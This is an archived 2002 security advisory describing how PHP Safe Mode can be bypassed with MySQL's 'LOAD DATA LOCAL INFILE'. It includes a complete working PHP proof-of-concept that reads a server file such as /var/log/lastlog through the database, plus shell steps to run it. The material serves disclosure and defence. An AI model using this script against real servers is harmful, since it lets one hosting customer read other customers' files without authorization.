TUCoPS :: Web :: PHP :: web5066.htm

PHP Safe Mode Filesystem circumvention allows access to server's data
5th Feb 2002 [SBWID-5066]
COMMAND

	PHP Safe Mode Filesystem circumvention allows access to server\'s data

SYSTEMS AFFECTED

	Tested on : PHP 4.1.0 & Apache 2 on Linux.

PROBLEM

	In Dave Wilson <dw@dahomelands.net> advisory [DW020203-PHP] :
	

	PHP (since version 3?) includes a commonly used feature  known  as  Safe
	Mode. When enabled, scripts are  highly  limited  in  their  ability  to
	access or execute local files, among other things.
	

	PHP relies on a wrapper function around all filesystem calls to  perform
	access checks, but unforunately the bundled  MySQL  client  library  has
	not been modified to perform such checks on \"LOAD DATA  INFILE  LOCAL\"
	statements.
	

	If an attacker has access to a MySQL server (either provided by  you  or
	himself), he can use it as a proxy by which to download  files  residing
	on the safe_mode-enabled web server. For  large  ISPs  relying  on  this
	feature  for  individual  customer  privacy,  it  could   mean   clients
	accessing each other\'s files, or viewing  of  files  on  an  improperly
	secured server.
	

	 Exploit

	 =======

	

	The attached script will (once configured  correctly)  attempt  to  read
	\"/var/log/lastlog\" via the SQL daemon and return it to the client.
	

	   $ cp safe_mode.php /www

	   $ wget -qO lastlog_via_mysql localhost/safe_mode.php

	   $ diff /var/log/lastlog lastlog_via_mysql; echo $?

	   0

	

	

	

	<?

	

	/*

	   PHP Safe Mode Problem

	

	   This script will connect to a database server running locally or otherwise,

	   create a temporary table with one column, use the LOAD DATA statement to

	   read a (possibly binary) file, then reads it back to the client.

	

	   Any type of file may pass through this \'proxy\'. Although unrelated, this

	   may also be used to access files on the DB server (although they must be

	   world-readable or in MySQLd\'s basedir, according to docs).

	*/

	

	

	$host = \'localhost\';

	$user = \'root\';

	$pass = \'letmein\';

	$db   = \'test_database\';

	

	$filename = \'/var/log/lastlog\';     /* File to grab from [local] server */

	$local = true;                      /* Read from local filesystem */

	

	

	$local = $local ? \'LOCAL\' : \'\';

	

	$sql = array (

	   \"USE $db\",

	

	   \'CREATE TEMPORARY TABLE \' . ($tbl = \'A\'.time ()) . \' (a LONGBLOB)\',

	

	   \"LOAD DATA $local INFILE \'$filename\' INTO TABLE $tbl FIELDS \"

	   . \"TERMINATED BY       \'__THIS_NEVER_HAPPENS__\' \"

	   . \"ESCAPED BY          \'\' \"

	   . \"LINES TERMINATED BY \'__THIS_NEVER_HAPPENS__\'\",

	

	   \"SELECT a FROM $tbl LIMIT 1\"

	);

	

	Header (\'Content-type: text/plain\');

	

	mysql_connect ($host, $user, $pass);

	

	foreach ($sql as $statement) {

	   $q = mysql_query ($statement);

	

	   if ($q == false) die (

	      \"FAILED: \" . $statement . \"\\n\" .

	      \"REASON: \" . mysql_error () . \"\\n\"

	   );

	

	   if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue;

	

	   echo $r [0];

	   mysql_free_result ($q);

	}

	

	

SOLUTION

	Currently, no fix exists. You may use other PHP safe_mode  functions  to
	disable the use of the MySQL client library, or secure your  servers  in
	a proper fashion.. A suggested fix for the PHP developers  might  be  to
	scan mysql_query()s for strings similar to \"LOAD DATA LOCAL INFILE\".
	

	Happy hackers out  there  might  like  to  look  at  libmysql.c:1764  if
	interested in fixing this problem, although that may  only  be  possible
	from within PHP.

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH